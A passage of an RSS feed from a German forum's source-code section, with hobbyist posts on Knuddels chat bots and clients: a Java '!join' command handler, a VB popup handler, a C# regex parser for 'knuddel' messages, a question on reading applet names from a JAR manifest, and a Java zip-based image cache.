<span style="color: #0000BB"></span><span style="color: #007700">if(</span><span style="color: #0000BB">opcode</span><span style="color: #007700">.</span><span style="color: #0000BB">equals</span><span style="color: #007700">(</span><span style="color: #DD0000">"r"</span><span style="color: #007700">))&nbsp;{<br /></span><span style="color: #0000BB">String&nbsp;sender&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">tokens</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">String&nbsp;empfaenger&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">tokens</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">String&nbsp;channel&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">tokens</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">String&nbsp;message&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">tokens</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">4</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">splittedmessage&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">message</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;"</span><span style="color: #007700">);<br /><br /></span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">format</span><span style="color: #007700">(</span><span style="color: #DD0000">"Ich&nbsp;habe&nbsp;eine&nbsp;private&nbsp;Nachricht&nbsp;von&nbsp;%s&nbsp;an&nbsp;mich(%s)&nbsp;im&nbsp;Channel&nbsp;%s&nbsp;bekommen,&nbsp;sie&nbsp;lautet:&nbsp;%s"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sender</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">empfaenger</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">message</span><span style="color: #007700">));<br /><br />if(</span><span style="color: #0000BB">splittedmessage</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">equals</span><span style="color: #007700">(</span><span style="color: #DD0000">"!join"</span><span style="color: #007700">))&nbsp;{<br /></span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">sendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/go&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">splittedmessage</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br /></span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">sendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/p&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">masternick&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">":"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">":Habe&nbsp;mich&nbsp;in&nbsp;den&nbsp;Channel"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">splittedmessage</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;&nbsp;+&nbsp;</span><span style="color: #DD0000">"&nbsp;eingeloggt!"</span><span style="color: #007700">);<br /><br /><br /><br /><br /><br /><br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Das Ganze löse ich mittels der KRLib von Flav. Der String &quot;masternick&quot; enthält natürlich einen Wert</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-problem-mit-if-abfrage-13898</guid>
		</item>
		<item>
			<title>Popup Handlin KNLib</title>
			<link>sourcecode-91/popup-handlin-knlib-13714?goto=newpost</link>
			<pubDate>Sun, 17 Jun 2012 15:29:02 GMT</pubDate>
			<description><![CDATA[Hallo das einige User noch Probleme haben das Popup in der Messagebox anzeigen zu lassen habe ich mir gedacht ich mach mal n kleines "Tutorial" ...]]></description>
			<content:encoded><![CDATA[<div>Hallo das einige User noch Probleme haben das Popup in der Messagebox anzeigen zu lassen habe ich mir gedacht ich mach mal n kleines &quot;Tutorial&quot; <br />
Eher gesagt ich zeig euch meinen Lösungweg.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Private Sub client_OnPopup(ByVal sender As Object, ByVal Message As String, ByVal token() As String) Handles client.OnPopup <br />
&nbsp; &nbsp; &nbsp; &nbsp; Msgbox(token(40)) 'token(40) gibt das Popup wieder. Und Durch Msgbox(token(40)) wird das Popup Fenster als MessageBox wiedergegeben.<br />
End Sub</code><hr />
</div>Code ist nur für VB</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/popup-handlin-knlib-13714</guid>
		</item>
		<item>
			<title>KnuddlerInfo</title>
			<link>sourcecode-91/knuddlerinfo-32263?goto=newpost</link>
			<pubDate>Tue, 12 Jun 2012 15:59:32 GMT</pubDate>
			<description>Guten Tag, 
 
folgendes Snippet habe ich vor paar Monaten für ein kleines Testprojekt von mir benötigt und da eventuell jemand es benötigen könnte,...</description>
			<content:encoded><![CDATA[<div>Guten Tag,<br />
<br />
folgendes Snippet habe ich vor paar Monaten für ein kleines Testprojekt von mir benötigt und da eventuell jemand es benötigen könnte, stelle ich es Opensource. Ist nichts großartiges, es zeigt nur an, wer von wem geknuddelt wurde.<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
[highlight=csharp]<br />
using System;<br />
using System.Threading;<br />
using System.Text.RegularExpressions;<br />
<br />
namespace Knuddels<br />
{<br />
    class KnuddlerInfo<br />
    {<br />
        #region Global<br />
<br />
        private String sender, receiver;<br />
        private bool success;<br />
<br />
        private String[] Knuddelmessages = new String[] {<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° ein bisschen.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° eifrig drauf los. °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° ist das erwählte Opfer.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° heute richtig gut. Diesmal hat °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° einen abbekommen.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° zieht °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° beiseite und °RR°knuddelt°BB° wie wild drauf los. °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° hat jetzt (\\d+) Knuddels!&quot;,<br />
            &quot;Es wird wieder °RR°geknuddelt°BB°! °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° scheint °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° sehr gerne zu haben...&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° hat °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° scheinbar richtig gern und °RR°knuddelt°BB° eifrig drauf los.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wird Opfer von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;°'s °RR°Knuddelattacke°BB°. (\\d+) Knuddels hat °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wird von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° mit einem °RR°Knuddelüberfall°BB° überrascht. Auf (\\d+) Knuddels kommt °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;°, sodass °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° jetzt auf (\\d+) Knuddels kommt.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wird von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° liebevoll °RR°geknuddelt°BB°.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nimmt °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° in den Arm und °RR°knuddelt°BB° mal so richtig.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° kann sich gar nicht gegen das herzliche °RR°Knuddeln°BB° von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wehren.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° ist gerade in °RR°Knuddellaune°BB° und stürzt sich sogleich auf °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;°. (\\d+) Knuddels hat °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun.&quot;,<br />
            &quot;Auf (\\d+) Knuddels kommt °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun, nachdem °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° so richtig °RR°geknuddelt°BB° hat. (.*?) würde auch gern mitmachen.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wird von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° so richtig °RR°durchgeknuddelt°BB°. Auf (\\d+) Knuddels kommt °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wird Opfer eines °RR°Knuddelüberfalls°BB° von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;°.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° mal so richtig durch. °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° hat jetzt (\\d+) Knuddels!&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° wird von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° mal so richtig °RR°durchgeknuddelt°BB°.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° ganz liebevoll, sodass °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun auf (\\d+) Knuddels kommt.&quot;,<br />
            &quot;Es wird wieder °RR°geknuddelt°BB°! °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° scheint °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° sehr gerne zu haben...&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° schnappt sich °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° und °RR°knuddelt°BB° drauf los.&quot;,<br />
            &quot;°&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° bekommt von °&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° den (\\d+). °RR°Knuddel°BB°.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° ganz liebevoll, sodass °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° nun auf (\\d+) Knuddels kommt.&quot;,<br />
            &quot;°&gt;_h(?&lt;snd&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° °RR°knuddelt°BB° heute richtig gut. Diesmal hat °&gt;_h(?&lt;rcv&gt;([^\\|]+))\\|/serverpp &quot;\\|/w &quot;&lt;° einen abbekommen.&quot;<br />
        };<br />
<br />
        #endregion<br />
<br />
        #region Infos<br />
<br />
        public String Sender<br />
        {<br />
            get { return sender; }<br />
        }<br />
<br />
        public String Receiver<br />
        {<br />
            get { return receiver; }<br />
        }<br />
<br />
        public bool Success<br />
        {<br />
            get { return success; }<br />
        }<br />
<br />
        #endregion<br />
<br />
        public KnuddlerInfo(String message)<br />
        {<br />
            for (int i = 0; i &lt; Knuddelmessages.Length; i++)<br />
            {<br />
                Regex r = new Regex(Knuddelmessages[i]);<br />
                <br />
                if (r.IsMatch(message))<br />
                {<br />
                    this.sender = r.Match(message).Groups[&quot;snd&quot;].Value;<br />
                    this.receiver = r.Match(message).Groups[&quot;rcv&quot;].Value;<br />
<br />
                    success = true;<br />
<br />
                    break;<br />
                }<br />
            }<br />
        }<br />
    }<br />
}<br />
<br />
[/highlight]
</div>
</div>
</div><br />
<b>Benutzung via KNLib (OnTokenReceived-Event):</b><br />
<br />
[highlight=csharp]<br />
                    case &quot;t&quot;:<br />
<br />
                        KnuddlerInfo kndlerInfo = new KnuddlerInfo(token[3]);<br />
<br />
                        if (kndlerInfo.Success)<br />
                        {<br />
                            Console.WriteLine(&quot;Der User {0} wurde von dem User {1} geknuddelt.&quot;, kndlerInfo.Receiver, kndlerInfo.Sender);<br />
                        }<br />
<br />
                        break;[/highlight]</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knuddlerinfo-32263</guid>
		</item>
		<item>
			<title><![CDATA[[VB][Frage] Alle Applets in einen Array]]></title>
			<link>sourcecode-91/vb-frage-alle-applets-in-einen-array-13359?goto=newpost</link>
			<pubDate>Sat, 09 Jun 2012 16:29:21 GMT</pubDate>
			<description>Hey, 
 
 
Ich hab grade ein Problem, ich möchte so etwas wie einen Applet Decoder coden. Dafür benötige ich erstmal alle Applets, diese lese ich...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
<br />
Ich hab grade ein Problem, ich möchte so etwas wie einen Applet Decoder coden. Dafür benötige ich erstmal alle Applets, diese lese ich durch die MANIFEST.MF aus, welche ich dann öffne und via. Substring auslese. Das klappt auch super, leider sind es aber immer unterschiedlich viele Applets, mit anderen Namen, daher frage ich mich, wie ich diese einspeichern könnte, ich hatte da die Idee, sie in einen Array zu speichern und diesen dann nacheinander auszulesen, jedoch weiß ich gar nicht wie ich ich das anpacken soll, vielleicht kann mir ja jemand Hilfe geben.<br />
<br />
Mein derzeitiger Code dafür: <br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&nbsp;&nbsp;&nbsp;Dim&nbsp;reader&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">StreamReader</span><span style="color: #007700">(</span><span style="color: #DD0000">"Entpackt/META-INF/MANIFEST.MF"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;mainfestinhalt&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">reader</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadToEnd</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;allapplets&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mainfestinhalt</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">mainfestinhalt</span><span style="color: #007700">.</span><span style="color: #0000BB">IndexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">"Class-Path:"</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">allapplets&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">allapplets</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">allapplets</span><span style="color: #007700">.</span><span style="color: #0000BB">IndexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">"Created-By"</span><span style="color: #007700">))&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><b>Mit freundlichen Grüßen rvs14</b></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-frage-alle-applets-in-einen-array-13359</guid>
		</item>
		<item>
			<title><![CDATA[[Java] ImageCache]]></title>
			<link>sourcecode-91/java-imagecache-13009?goto=newpost</link>
			<pubDate>Fri, 01 Jun 2012 15:59:51 GMT</pubDate>
			<description>Guten Abend :) 
 
Hier mein ImageCache Klasse aus meinem Client Projekt. 
 
 
PHP: 
--------- 
package tools; 
 
import java.awt.Image;</description>
			<content:encoded><![CDATA[<div>Guten Abend :)<br />
<br />
Hier mein ImageCache Klasse aus meinem Client Projekt.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">package&nbsp;tools</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">Image</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">IOException</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">InputStream</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">Enumeration</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">HashMap</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">Map</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">zip</span><span style="color: #007700">.</span><span style="color: #0000BB">ZipEntry</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">zip</span><span style="color: #007700">.</span><span style="color: #0000BB">ZipFile</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;javax</span><span style="color: #007700">.</span><span style="color: #0000BB">imageio</span><span style="color: #007700">.</span><span style="color: #0000BB">ImageIO</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">/**&nbsp;<br />&nbsp;*&nbsp;<br />&nbsp;*&nbsp;ImageCache.java&nbsp;<br />&nbsp;*&nbsp;<br />&nbsp;*&nbsp;Cache&nbsp;images&nbsp;from&nbsp;a&nbsp;zip&nbsp;file<br />&nbsp;*&nbsp;<br />&nbsp;*&nbsp;@author&nbsp;uncopyable&nbsp;<br />&nbsp;*&nbsp;&nbsp;<br />&nbsp;*&nbsp;Version&nbsp;1.0&nbsp;Freitag,&nbsp;1.&nbsp;Juni&nbsp;2012&nbsp;<br />&nbsp;*&nbsp;<br />&nbsp;*&nbsp;<br />&nbsp;*/&nbsp;<br /><br /><br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">ImageCache&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Maximale&nbsp;anzahl&nbsp;der&nbsp;Bilder<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">int&nbsp;maxCount</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;HashMap<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">Map</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Image</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">imageCache&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">HashMap</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Image</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Name&nbsp;der&nbsp;Zip&nbsp;Datei<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">String&nbsp;zipName</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">ImageCache</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;maxCount</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;zipName</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">maxCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">maxCount</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">zipName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">zipName</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">loadImages</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Lädt&nbsp;die&nbsp;Bilder&nbsp;aus&nbsp;dem&nbsp;Zip-Archiv&nbsp;in&nbsp;die&nbsp;HasMap<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;loadImages</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">File&nbsp;f&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">File</span><span style="color: #007700">(</span><span style="color: #0000BB">ImageCache</span><span style="color: #007700">.class.</span><span style="color: #0000BB">getResource</span><span style="color: #007700">(</span><span style="color: #DD0000">"/res/"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">zipName</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.</span><span style="color: #0000BB">getPath</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">exists</span><span style="color: #007700">())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ZipFile&nbsp;zipFile&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ZipFile</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Enumeration&nbsp;enu&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">zipFile</span><span style="color: #007700">.</span><span style="color: #0000BB">entries</span><span style="color: #007700">();<br 